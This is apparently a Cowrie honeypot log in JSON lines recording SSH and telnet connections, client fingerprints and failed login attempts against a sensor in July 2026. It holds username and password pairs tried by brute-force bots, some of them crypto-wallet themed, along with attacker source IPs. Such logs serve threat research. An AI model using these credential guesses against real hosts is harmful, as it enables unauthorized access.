{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:31.412060Z","src_ip":"51.250.105.222","session":"e7e4e9856152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:31.800818Z","src_ip":"51.250.105.222","session":"e7e4e9856152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:32.931703Z","src_ip":"51.250.105.222","session":"e7e4e9856152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":53292,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce8526bf7c4e","protocol":"ssh","message":"New connection: 192.169.244.109:53292 (10.17.0.5:22) [session: ce8526bf7c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:36.263529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:36.267271Z","src_ip":"192.169.244.109","session":"ce8526bf7c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:36.331303Z","src_ip":"192.169.244.109","session":"ce8526bf7c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ltcwallet","password":"litecoin123","message":"login attempt [ltcwallet/litecoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:36.528046Z","src_ip":"192.169.244.109","session":"ce8526bf7c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:37.595044Z","src_ip":"192.169.244.109","session":"ce8526bf7c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":50834,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f29b38d6cb6","protocol":"ssh","message":"New connection: 191.7.26.153:50834 (159.203.135.109:22) [session: 6f29b38d6cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:52.741267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:52.745275Z","src_ip":"191.7.26.153","session":"6f29b38d6cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:52.867536Z","src_ip":"191.7.26.153","session":"6f29b38d6cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"art","password":"123456","message":"login attempt [art/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:53.366665Z","src_ip":"191.7.26.153","session":"6f29b38d6cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:54.488733Z","src_ip":"191.7.26.153","session":"6f29b38d6cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:08.824835Z","src_ip":"46.19.67.181","session":"881a784f67b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":55844,"dst_ip":"10.17.0.5","dst_port":22,"session":"62da952accd2","protocol":"ssh","message":"New connection: 95.130.227.33:55844 (10.17.0.5:22) [session: 62da952accd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:12.640332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:12.643082Z","src_ip":"95.130.227.33","session":"62da952accd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:12.808761Z","src_ip":"95.130.227.33","session":"62da952accd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venividivici","message":"login attempt [root/venividivici] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:13.508367Z","src_ip":"95.130.227.33","session":"62da952accd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:14.677002Z","src_ip":"95.130.227.33","session":"62da952accd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":48068,"dst_ip":"10.17.0.5","dst_port":22,"session":"c205c0d9fcf9","protocol":"ssh","message":"New connection: 198.1.93.192:48068 (10.17.0.5:22) [session: c205c0d9fcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:16.018534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:16.025323Z","src_ip":"198.1.93.192","session":"c205c0d9fcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:16.114367Z","src_ip":"198.1.93.192","session":"c205c0d9fcf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arbitrumorbit","password":"arbitrumorbit321","message":"login attempt [arbitrumorbit/arbitrumorbit321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:16.381223Z","src_ip":"198.1.93.192","session":"c205c0d9fcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:17.473698Z","src_ip":"198.1.93.192","session":"c205c0d9fcf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49808,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7140c4c70e8","protocol":"telnet","message":"New connection: 170.64.224.25:49808 (159.203.135.109:23) [session: b7140c4c70e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:26.861758Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54142,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c3687aa0849","protocol":"ssh","message":"New connection: 2.57.122.238:54142 (159.203.135.109:22) [session: 8c3687aa0849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:44.138018Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:44.237418Z","src_ip":"2.57.122.238","session":"8c3687aa0849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50154,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b07f7780fe","protocol":"telnet","message":"New connection: 170.64.224.25:50154 (159.203.135.109:23) [session: 85b07f7780fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:45.925385Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec5c0c3bbec","protocol":"telnet","message":"New connection: 170.64.224.25:56114 (159.203.135.109:23) [session: 2ec5c0c3bbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:14:52.610140Z"}
{"eventid":"cowrie.session.closed","duration":40.185523986816406,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:07.047162Z","src_ip":"170.64.224.25","session":"b7140c4c70e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f292516794dc","protocol":"telnet","message":"New connection: 170.64.224.25:60488 (159.203.135.109:23) [session: f292516794dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:31.833461Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":54438,"dst_ip":"159.203.135.109","dst_port":22,"session":"5349f7170e51","protocol":"ssh","message":"New connection: 101.126.22.12:54438 (159.203.135.109:22) [session: 5349f7170e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:31.913305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:33.302336Z","src_ip":"101.126.22.12","session":"5349f7170e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:33.305468Z","src_ip":"101.126.22.12","session":"5349f7170e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.06571388244629,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:33.675717Z","src_ip":"170.64.224.25","session":"2ec5c0c3bbec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xz123456","message":"login attempt [root/Xz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:34.180872Z","src_ip":"101.126.22.12","session":"5349f7170e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43920,"dst_ip":"10.17.0.5","dst_port":22,"session":"1489260ea32f","protocol":"ssh","message":"New connection: 80.66.85.226:43920 (10.17.0.5:22) [session: 1489260ea32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:42.043673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:42.047971Z","src_ip":"80.66.85.226","session":"1489260ea32f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:42.137082Z","src_ip":"80.66.85.226","session":"1489260ea32f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"53142ffk","message":"login attempt [root/53142ffk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:42.402932Z","src_ip":"80.66.85.226","session":"1489260ea32f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:43.493294Z","src_ip":"80.66.85.226","session":"1489260ea32f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":47506,"dst_ip":"159.203.135.109","dst_port":22,"session":"13af47d83d98","protocol":"ssh","message":"New connection: 191.7.26.153:47506 (159.203.135.109:22) [session: 13af47d83d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:53.277812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:53.281776Z","src_ip":"191.7.26.153","session":"13af47d83d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:53.398469Z","src_ip":"191.7.26.153","session":"13af47d83d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zelda","password":"zelda123","message":"login attempt [zelda/zelda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:53.889099Z","src_ip":"191.7.26.153","session":"13af47d83d98","protocol":"ssh"}
